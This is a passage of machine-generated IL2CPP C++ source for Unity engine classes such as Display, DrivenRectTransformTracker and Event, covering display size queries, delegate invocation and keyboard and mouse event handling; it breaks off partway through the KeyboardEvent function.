UnityEngine.DefaultExecutionOrder::get_order() extern "C" int32_t DefaultExecutionOrder_get_order_m1561221759 (DefaultExecutionOrder_t2717914595 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_U3CorderU3Ek__BackingField_0(); V_0 = L_0; goto IL_000c; } IL_000c: { int32_t L_1 = V_0; return L_1; } } // System.Void UnityEngine.DisallowMultipleComponent::.ctor() extern "C" void DisallowMultipleComponent__ctor_m533952133 (DisallowMultipleComponent_t2656950 * __this, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Display::.ctor() extern "C" void Display__ctor_m2167115811 (Display_t3666191348 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); IntPtr_t L_0; memset(&L_0, 0, sizeof(L_0)); IntPtr__ctor_m2996690883(&L_0, 0, /*hidden argument*/NULL); __this->set_nativeDisplay_0(L_0); return; } } // System.Void UnityEngine.Display::.ctor(System.IntPtr) extern "C" void Display__ctor_m563295973 (Display_t3666191348 * __this, IntPtr_t ___nativeDisplay0, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); IntPtr_t L_0 = ___nativeDisplay0; __this->set_nativeDisplay_0(L_0); return; } } // System.Int32 UnityEngine.Display::get_renderingWidth() extern "C" int32_t Display_get_renderingWidth_m2127568366 (Display_t3666191348 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Display_get_renderingWidth_m2127568366_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; int32_t V_1 = 0; int32_t V_2 = 0; { V_0 = 0; V_1 = 0; IntPtr_t L_0 = __this->get_nativeDisplay_0(); IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); Display_GetRenderingExtImpl_m3739199112(NULL /*static, unused*/, L_0, (&V_0), (&V_1), /*hidden argument*/NULL); int32_t L_1 = V_0; V_2 = L_1; goto IL_001b; } IL_001b: { int32_t L_2 = V_2; return L_2; } } // System.Int32 UnityEngine.Display::get_renderingHeight() extern "C" int32_t Display_get_renderingHeight_m3408216949 (Display_t3666191348 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Display_get_renderingHeight_m3408216949_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; int32_t V_1 = 0; int32_t V_2 = 0; { V_0 = 0; V_1 = 0; IntPtr_t L_0 = __this->get_nativeDisplay_0(); IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); Display_GetRenderingExtImpl_m3739199112(NULL /*static, unused*/, L_0, (&V_0), (&V_1), /*hidden argument*/NULL); int32_t L_1 = V_1; V_2 = L_1; goto IL_001b; } IL_001b: { int32_t L_2 = V_2; return L_2; } } // System.Int32 UnityEngine.Display::get_systemWidth() extern "C" int32_t Display_get_systemWidth_m957394103 (Display_t3666191348 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Display_get_systemWidth_m957394103_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; int32_t V_1 = 0; int32_t V_2 = 0; { V_0 = 0; V_1 = 0; IntPtr_t L_0 = __this->get_nativeDisplay_0(); IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); Display_GetSystemExtImpl_m2990495607(NULL /*static, unused*/, L_0, (&V_0), (&V_1), /*hidden argument*/NULL); int32_t L_1 = V_0; V_2 = L_1; goto IL_001b; } IL_001b: { int32_t L_2 = V_2; return L_2; } } // System.Int32 UnityEngine.Display::get_systemHeight() extern "C" int32_t Display_get_systemHeight_m3377672024 (Display_t3666191348 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Display_get_systemHeight_m3377672024_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; int32_t V_1 = 0; int32_t V_2 = 0; { V_0 = 0; V_1 = 0; IntPtr_t L_0 = __this->get_nativeDisplay_0(); IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); Display_GetSystemExtImpl_m2990495607(NULL /*static, unused*/, L_0, (&V_0), (&V_1), /*hidden argument*/NULL); int32_t L_1 = V_1; V_2 = L_1; goto IL_001b; } IL_001b: { int32_t L_2 = V_2; return L_2; } } // UnityEngine.Vector3 UnityEngine.Display::RelativeMouseAt(UnityEngine.Vector3) extern "C" Vector3_t2243707580 Display_RelativeMouseAt_m3983394520 (Il2CppObject * __this /* static, unused */, Vector3_t2243707580 ___inputMouseCoordinates0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Display_RelativeMouseAt_m3983394520_MetadataUsageId); s_Il2CppMethodInitialized = true; } Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); int32_t V_1 = 0; int32_t V_2 = 0; int32_t V_3 = 0; int32_t V_4 = 0; Vector3_t2243707580 V_5; memset(&V_5, 0, sizeof(V_5)); { V_1 = 0; V_2 = 0; float L_0 = (&___inputMouseCoordinates0)->get_x_1(); V_3 = (((int32_t)((int32_t)L_0))); float L_1 = (&___inputMouseCoordinates0)->get_y_2(); V_4 = (((int32_t)((int32_t)L_1))); int32_t L_2 = V_3; int32_t L_3 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); int32_t L_4 = Display_RelativeMouseAtImpl_m1974885337(NULL /*static, unused*/, L_2, L_3, (&V_1), (&V_2), /*hidden argument*/NULL); (&V_0)->set_z_3((((float)((float)L_4)))); int32_t L_5 = V_1; (&V_0)->set_x_1((((float)((float)L_5)))); int32_t L_6 = V_2; (&V_0)->set_y_2((((float)((float)L_6)))); Vector3_t2243707580 L_7 = V_0; V_5 = L_7; goto IL_0046; } IL_0046: { Vector3_t2243707580 L_8 = V_5; return L_8; } } // System.Void UnityEngine.Display::RecreateDisplayList(System.IntPtr[]) extern "C" void Display_RecreateDisplayList_m3412638488 (Il2CppObject * __this /* static, unused */, IntPtrU5BU5D_t169632028* ___nativeDisplay0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Display_RecreateDisplayList_m3412638488_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; { IntPtrU5BU5D_t169632028* L_0 = ___nativeDisplay0; NullCheck(L_0); IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->set_displays_1(((DisplayU5BU5D_t1314630077*)SZArrayNew(DisplayU5BU5D_t1314630077_il2cpp_TypeInfo_var, (uint32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_0)->max_length))))))); V_0 = 0; goto IL_0028; } IL_0015: { IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); DisplayU5BU5D_t1314630077* L_1 = ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->get_displays_1(); int32_t L_2 = V_0; IntPtrU5BU5D_t169632028* L_3 = ___nativeDisplay0; int32_t L_4 = V_0; NullCheck(L_3); int32_t L_5 = L_4; IntPtr_t L_6 = (L_3)->GetAt(static_cast(L_5)); Display_t3666191348 * L_7 = (Display_t3666191348 *)il2cpp_codegen_object_new(Display_t3666191348_il2cpp_TypeInfo_var); Display__ctor_m563295973(L_7, L_6, /*hidden argument*/NULL); NullCheck(L_1); ArrayElementTypeCheck (L_1, L_7); (L_1)->SetAt(static_cast(L_2), (Display_t3666191348 *)L_7); int32_t L_8 = V_0; V_0 = ((int32_t)((int32_t)L_8+(int32_t)1)); } IL_0028: { int32_t L_9 = V_0; IntPtrU5BU5D_t169632028* L_10 = ___nativeDisplay0; NullCheck(L_10); if ((((int32_t)L_9) < ((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_10)->max_length))))))) { goto IL_0015; } } { IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); DisplayU5BU5D_t1314630077* L_11 = ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->get_displays_1(); NullCheck(L_11); int32_t L_12 = 0; Display_t3666191348 * L_13 = (L_11)->GetAt(static_cast(L_12)); ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->set__mainDisplay_2(L_13); return; } } // System.Void UnityEngine.Display::FireDisplaysUpdated() extern "C" void Display_FireDisplaysUpdated_m3557250167 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Display_FireDisplaysUpdated_m3557250167_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); DisplaysUpdatedDelegate_t3423469815 * L_0 = ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->get_onDisplaysUpdated_3(); if (!L_0) { goto IL_0015; } } { IL2CPP_RUNTIME_CLASS_INIT(Display_t3666191348_il2cpp_TypeInfo_var); DisplaysUpdatedDelegate_t3423469815 * L_1 = ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->get_onDisplaysUpdated_3(); NullCheck(L_1); DisplaysUpdatedDelegate_Invoke_m3646339243(L_1, /*hidden argument*/NULL); } IL_0015: { return; } } // System.Void UnityEngine.Display::GetSystemExtImpl(System.IntPtr,System.Int32&,System.Int32&) extern "C" void Display_GetSystemExtImpl_m2990495607 (Il2CppObject * __this /* static, unused */, IntPtr_t ___nativeDisplay0, int32_t* ___w1, int32_t* ___h2, const MethodInfo* method) { typedef void (*Display_GetSystemExtImpl_m2990495607_ftn) (IntPtr_t, int32_t*, int32_t*); static Display_GetSystemExtImpl_m2990495607_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Display_GetSystemExtImpl_m2990495607_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Display::GetSystemExtImpl(System.IntPtr,System.Int32&,System.Int32&)"); _il2cpp_icall_func(___nativeDisplay0, ___w1, ___h2); } // System.Void UnityEngine.Display::GetRenderingExtImpl(System.IntPtr,System.Int32&,System.Int32&) extern "C" void Display_GetRenderingExtImpl_m3739199112 (Il2CppObject * __this /* static, unused */, IntPtr_t ___nativeDisplay0, int32_t* ___w1, int32_t* ___h2, const MethodInfo* method) { typedef void (*Display_GetRenderingExtImpl_m3739199112_ftn) (IntPtr_t, int32_t*, int32_t*); static Display_GetRenderingExtImpl_m3739199112_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Display_GetRenderingExtImpl_m3739199112_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Display::GetRenderingExtImpl(System.IntPtr,System.Int32&,System.Int32&)"); _il2cpp_icall_func(___nativeDisplay0, ___w1, ___h2); } // System.Int32 UnityEngine.Display::RelativeMouseAtImpl(System.Int32,System.Int32,System.Int32&,System.Int32&) extern "C" int32_t Display_RelativeMouseAtImpl_m1974885337 (Il2CppObject * __this /* static, unused */, int32_t ___x0, int32_t ___y1, int32_t* ___rx2, int32_t* ___ry3, const MethodInfo* method) { typedef int32_t (*Display_RelativeMouseAtImpl_m1974885337_ftn) (int32_t, int32_t, int32_t*, int32_t*); static Display_RelativeMouseAtImpl_m1974885337_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Display_RelativeMouseAtImpl_m1974885337_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Display::RelativeMouseAtImpl(System.Int32,System.Int32,System.Int32&,System.Int32&)"); return _il2cpp_icall_func(___x0, ___y1, ___rx2, ___ry3); } // System.Void UnityEngine.Display::.cctor() extern "C" void Display__cctor_m7440126 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Display__cctor_m7440126_MetadataUsageId); s_Il2CppMethodInitialized = true; } { DisplayU5BU5D_t1314630077* L_0 = ((DisplayU5BU5D_t1314630077*)SZArrayNew(DisplayU5BU5D_t1314630077_il2cpp_TypeInfo_var, (uint32_t)1)); Display_t3666191348 * L_1 = (Display_t3666191348 *)il2cpp_codegen_object_new(Display_t3666191348_il2cpp_TypeInfo_var); Display__ctor_m2167115811(L_1, /*hidden argument*/NULL); NullCheck(L_0); ArrayElementTypeCheck (L_0, L_1); (L_0)->SetAt(static_cast(0), (Display_t3666191348 *)L_1); ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->set_displays_1(L_0); DisplayU5BU5D_t1314630077* L_2 = ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->get_displays_1(); NullCheck(L_2); int32_t L_3 = 0; Display_t3666191348 * L_4 = (L_2)->GetAt(static_cast(L_3)); ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->set__mainDisplay_2(L_4); ((Display_t3666191348_StaticFields*)Display_t3666191348_il2cpp_TypeInfo_var->static_fields)->set_onDisplaysUpdated_3((DisplaysUpdatedDelegate_t3423469815 *)NULL); return; } } extern "C" void DelegatePInvokeWrapper_DisplaysUpdatedDelegate_t3423469815 (DisplaysUpdatedDelegate_t3423469815 * __this, const MethodInfo* method) { typedef void (STDCALL *PInvokeFunc)(); PInvokeFunc il2cppPInvokeFunc = reinterpret_cast(((Il2CppDelegate*)__this)->method->methodPointer); // Native function invocation il2cppPInvokeFunc(); } // System.Void UnityEngine.Display/DisplaysUpdatedDelegate::.ctor(System.Object,System.IntPtr) extern "C" void DisplaysUpdatedDelegate__ctor_m2851669167 (DisplaysUpdatedDelegate_t3423469815 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void UnityEngine.Display/DisplaysUpdatedDelegate::Invoke() extern "C" void DisplaysUpdatedDelegate_Invoke_m3646339243 (DisplaysUpdatedDelegate_t3423469815 * __this, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { DisplaysUpdatedDelegate_Invoke_m3646339243((DisplaysUpdatedDelegate_t3423469815 *)__this->get_prev_9(), method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if ((__this->get_m_target_2() != NULL || MethodHasParameters((MethodInfo*)(__this->get_method_3().get_m_value_0()))) && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult UnityEngine.Display/DisplaysUpdatedDelegate::BeginInvoke(System.AsyncCallback,System.Object) extern "C" Il2CppObject * DisplaysUpdatedDelegate_BeginInvoke_m2030617484 (DisplaysUpdatedDelegate_t3423469815 * __this, AsyncCallback_t163412349 * ___callback0, Il2CppObject * ___object1, const MethodInfo* method) { void *__d_args[1] = {0}; return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback0, (Il2CppObject*)___object1); } // System.Void UnityEngine.Display/DisplaysUpdatedDelegate::EndInvoke(System.IAsyncResult) extern "C" void DisplaysUpdatedDelegate_EndInvoke_m3234564837 (DisplaysUpdatedDelegate_t3423469815 * __this, Il2CppObject * ___result0, const MethodInfo* method) { il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } // System.Void UnityEngine.DrivenRectTransformTracker::Add(UnityEngine.Object,UnityEngine.RectTransform,UnityEngine.DrivenTransformProperties) extern "C" void DrivenRectTransformTracker_Add_m310530075 (DrivenRectTransformTracker_t154385424 * __this, Object_t1021602117 * ___driver0, RectTransform_t3349966182 * ___rectTransform1, int32_t ___drivenProperties2, const MethodInfo* method) { { return; } } extern "C" void DrivenRectTransformTracker_Add_m310530075_AdjustorThunk (Il2CppObject * __this, Object_t1021602117 * ___driver0, RectTransform_t3349966182 * ___rectTransform1, int32_t ___drivenProperties2, const MethodInfo* method) { DrivenRectTransformTracker_t154385424 * _thisAdjusted = reinterpret_cast(__this + 1); DrivenRectTransformTracker_Add_m310530075(_thisAdjusted, ___driver0, ___rectTransform1, ___drivenProperties2, method); } // System.Void UnityEngine.DrivenRectTransformTracker::Clear() extern "C" void DrivenRectTransformTracker_Clear_m864483440 (DrivenRectTransformTracker_t154385424 * __this, const MethodInfo* method) { { return; } } extern "C" void DrivenRectTransformTracker_Clear_m864483440_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { DrivenRectTransformTracker_t154385424 * _thisAdjusted = reinterpret_cast(__this + 1); DrivenRectTransformTracker_Clear_m864483440(_thisAdjusted, method); } // Conversion methods for marshalling of: UnityEngine.Event extern "C" void Event_t3028476042_marshal_pinvoke(const Event_t3028476042& unmarshaled, Event_t3028476042_marshaled_pinvoke& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void Event_t3028476042_marshal_pinvoke_back(const Event_t3028476042_marshaled_pinvoke& marshaled, Event_t3028476042& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.Event extern "C" void Event_t3028476042_marshal_pinvoke_cleanup(Event_t3028476042_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.Event extern "C" void Event_t3028476042_marshal_com(const Event_t3028476042& unmarshaled, Event_t3028476042_marshaled_com& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void Event_t3028476042_marshal_com_back(const Event_t3028476042_marshaled_com& marshaled, Event_t3028476042& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.Event extern "C" void Event_t3028476042_marshal_com_cleanup(Event_t3028476042_marshaled_com& marshaled) { } // System.Void UnityEngine.Event::.ctor() extern "C" void Event__ctor_m4174297401 (Event_t3028476042 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); Event_Init_m3901382626(__this, 0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Event::.ctor(System.Int32) extern "C" void Event__ctor_m3375547476 (Event_t3028476042 * __this, int32_t ___displayIndex0, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); int32_t L_0 = ___displayIndex0; Event_Init_m3901382626(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Event::Finalize() extern "C" void Event_Finalize_m3215242047 (Event_t3028476042 * __this, const MethodInfo* method) { Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { } IL_0001: try { // begin try (depth: 1) Event_Cleanup_m1195902101(__this, /*hidden argument*/NULL); IL2CPP_LEAVE(0x13, FINALLY_000c); } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_000c; } FINALLY_000c: { // begin finally (depth: 1) Object_Finalize_m4087144328(__this, /*hidden argument*/NULL); IL2CPP_END_FINALLY(12) } // end finally (depth: 1) IL2CPP_CLEANUP(12) { IL2CPP_JUMP_TBL(0x13, IL_0013) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0013: { return; } } // UnityEngine.Vector2 UnityEngine.Event::get_mousePosition() extern "C" Vector2_t2243707579 Event_get_mousePosition_m3789571399 (Event_t3028476042 * __this, const MethodInfo* method) { Vector2_t2243707579 V_0; memset(&V_0, 0, sizeof(V_0)); Vector2_t2243707579 V_1; memset(&V_1, 0, sizeof(V_1)); { Event_Internal_GetMousePosition_m38523489(__this, (&V_0), /*hidden argument*/NULL); Vector2_t2243707579 L_0 = V_0; V_1 = L_0; goto IL_0010; } IL_0010: { Vector2_t2243707579 L_1 = V_1; return L_1; } } // System.Boolean UnityEngine.Event::get_shift() extern "C" bool Event_get_shift_m1229469022 (Event_t3028476042 * __this, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = Event_get_modifiers_m430092210(__this, /*hidden argument*/NULL); V_0 = (bool)((((int32_t)((((int32_t)((int32_t)((int32_t)L_0&(int32_t)1))) == ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); goto IL_0015; } IL_0015: { bool L_1 = V_0; return L_1; } } // System.Boolean UnityEngine.Event::get_alt() extern "C" bool Event_get_alt_m2170452849 (Event_t3028476042 * __this, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = Event_get_modifiers_m430092210(__this, /*hidden argument*/NULL); V_0 = (bool)((((int32_t)((((int32_t)((int32_t)((int32_t)L_0&(int32_t)4))) == ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); goto IL_0015; } IL_0015: { bool L_1 = V_0; return L_1; } } // UnityEngine.Event UnityEngine.Event::get_current() extern "C" Event_t3028476042 * Event_get_current_m2901774193 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Event_get_current_m2901774193_MetadataUsageId); s_Il2CppMethodInitialized = true; } Event_t3028476042 * V_0 = NULL; { Event_t3028476042 * L_0 = ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->get_s_Current_1(); V_0 = L_0; goto IL_000c; } IL_000c: { Event_t3028476042 * L_1 = V_0; return L_1; } } // System.Void UnityEngine.Event::Internal_MakeMasterEventCurrent(System.Int32) extern "C" void Event_Internal_MakeMasterEventCurrent_m1829330051 (Il2CppObject * __this /* static, unused */, int32_t ___displayIndex0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Event_Internal_MakeMasterEventCurrent_m1829330051_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Event_t3028476042 * L_0 = ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->get_s_MasterEvent_2(); if (L_0) { goto IL_0016; } } { int32_t L_1 = ___displayIndex0; Event_t3028476042 * L_2 = (Event_t3028476042 *)il2cpp_codegen_object_new(Event_t3028476042_il2cpp_TypeInfo_var); Event__ctor_m3375547476(L_2, L_1, /*hidden argument*/NULL); ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->set_s_MasterEvent_2(L_2); } IL_0016: { Event_t3028476042 * L_3 = ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->get_s_MasterEvent_2(); int32_t L_4 = ___displayIndex0; NullCheck(L_3); Event_set_displayIndex_m3631666901(L_3, L_4, /*hidden argument*/NULL); Event_t3028476042 * L_5 = ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->get_s_MasterEvent_2(); ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->set_s_Current_1(L_5); Event_t3028476042 * L_6 = ((Event_t3028476042_StaticFields*)Event_t3028476042_il2cpp_TypeInfo_var->static_fields)->get_s_MasterEvent_2(); NullCheck(L_6); IntPtr_t L_7 = L_6->get_m_Ptr_0(); Event_Internal_SetNativeEvent_m1899228752(NULL /*static, unused*/, L_7, /*hidden argument*/NULL); return; } } // System.Boolean UnityEngine.Event::get_isKey() extern "C" bool Event_get_isKey_m1145918225 (Event_t3028476042 * __this, const MethodInfo* method) { int32_t V_0 = 0; bool V_1 = false; int32_t G_B3_0 = 0; { int32_t L_0 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); V_0 = L_0; int32_t L_1 = V_0; if ((((int32_t)L_1) == ((int32_t)4))) { goto IL_0015; } } { int32_t L_2 = V_0; G_B3_0 = ((((int32_t)L_2) == ((int32_t)5))? 1 : 0); goto IL_0016; } IL_0015: { G_B3_0 = 1; } IL_0016: { V_1 = (bool)G_B3_0; goto IL_001c; } IL_001c: { bool L_3 = V_1; return L_3; } } // System.Boolean UnityEngine.Event::get_isMouse() extern "C" bool Event_get_isMouse_m569219555 (Event_t3028476042 * __this, const MethodInfo* method) { int32_t V_0 = 0; bool V_1 = false; int32_t G_B8_0 = 0; { int32_t L_0 = Event_get_type_m2426033198(__this, /*hidden argument*/NULL); V_0 = L_0; int32_t L_1 = V_0; if ((((int32_t)L_1) == ((int32_t)2))) { goto IL_003a; } } { int32_t L_2 = V_0; if (!L_2) { goto IL_003a; } } { int32_t L_3 = V_0; if ((((int32_t)L_3) == ((int32_t)1))) { goto IL_003a; } } { int32_t L_4 = V_0; if ((((int32_t)L_4) == ((int32_t)3))) { goto IL_003a; } } { int32_t L_5 = V_0; if ((((int32_t)L_5) == ((int32_t)((int32_t)16)))) { goto IL_003a; } } { int32_t L_6 = V_0; if ((((int32_t)L_6) == ((int32_t)((int32_t)20)))) { goto IL_003a; } } { int32_t L_7 = V_0; G_B8_0 = ((((int32_t)L_7) == ((int32_t)((int32_t)21)))? 1 : 0); goto IL_003b; } IL_003a: { G_B8_0 = 1; } IL_003b: { V_1 = (bool)G_B8_0; goto IL_0041; } IL_0041: { bool L_8 = V_1; return L_8; } } // UnityEngine.Event UnityEngine.Event::KeyboardEvent(System.String) extern "C" Event_t3028476042 * Event_KeyboardEvent_m1089796218 (Il2CppObject * __this /* static, unused */, String_t* ___key0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Event_KeyboardEvent_m1089796218_MetadataUsageId); s_Il2CppMethodInitialized = true; } Event_t3028476042 * V_0 = NULL; Event_t3028476042 * V_1 = NULL; int32_t V_2 = 0; bool V_3 = false; Il2CppChar V_4 = 0x0; String_t* V_5 = NULL; Dictionary_2_t3986656710 * V_6 = NULL; int32_t V_7 = 0; Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { Event_t3028476042 * L_0 = (Event_t3028476042 *)il2cpp_codegen_object_new(Event_t3028476042_il2cpp_TypeInfo_var); Event__ctor_m3375547476(L_0, 0, /*hidden argument*/NULL); V_0 = L_0; Event_t3028476042 * L_1 = V_0; NullCheck(L_1); Event_set_type_m4059414571(L_1, 4, /*hidden argument*/NULL); String_t* L_2 = ___key0; IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); bool L_3 = String_IsNullOrEmpty_m2802126737(NULL /*static, unused*/, L_2, /*hidden argument*/NULL); if (!L_3) { goto IL_0021; } } { Event_t3028476042 * L_4 = V_0; V_1 = L_4; goto IL_0a8a; } IL_0021: { V_2 = 0; V_3 = (bool)0; } IL_0025: { V_3 = (bool)1; int32_t L_5 = V_2; String_t* L_6 = ___key0; NullCheck(L_6); int32_t L_7 = String_get_Length_m1606060069(L_6, /*hidden argument*/NULL); if ((((int32_t)L_5) < ((int32_t)L_7))) { goto IL_003c; } } { V_3 = (bool)0; goto IL_00d7; } IL_003c: { String_t* L_8 = ___key0; int32_t L_9 = V_2; NullCheck(L_8); Il2CppChar L_10 = String_get_Chars_m4230566705(L_8, L_9, /*hidden argument*/NULL); V_4 = L_10; Il2CppChar L_11 = V_4; if (((int32_t)((int32_t)L_11-(int32_t)((int32_t)35))) == 0) { goto IL_00b2; } if (((int32_t)((int32_t)L_11-(int32_t)((int32_t)35))) == 1) { goto IL_005f; 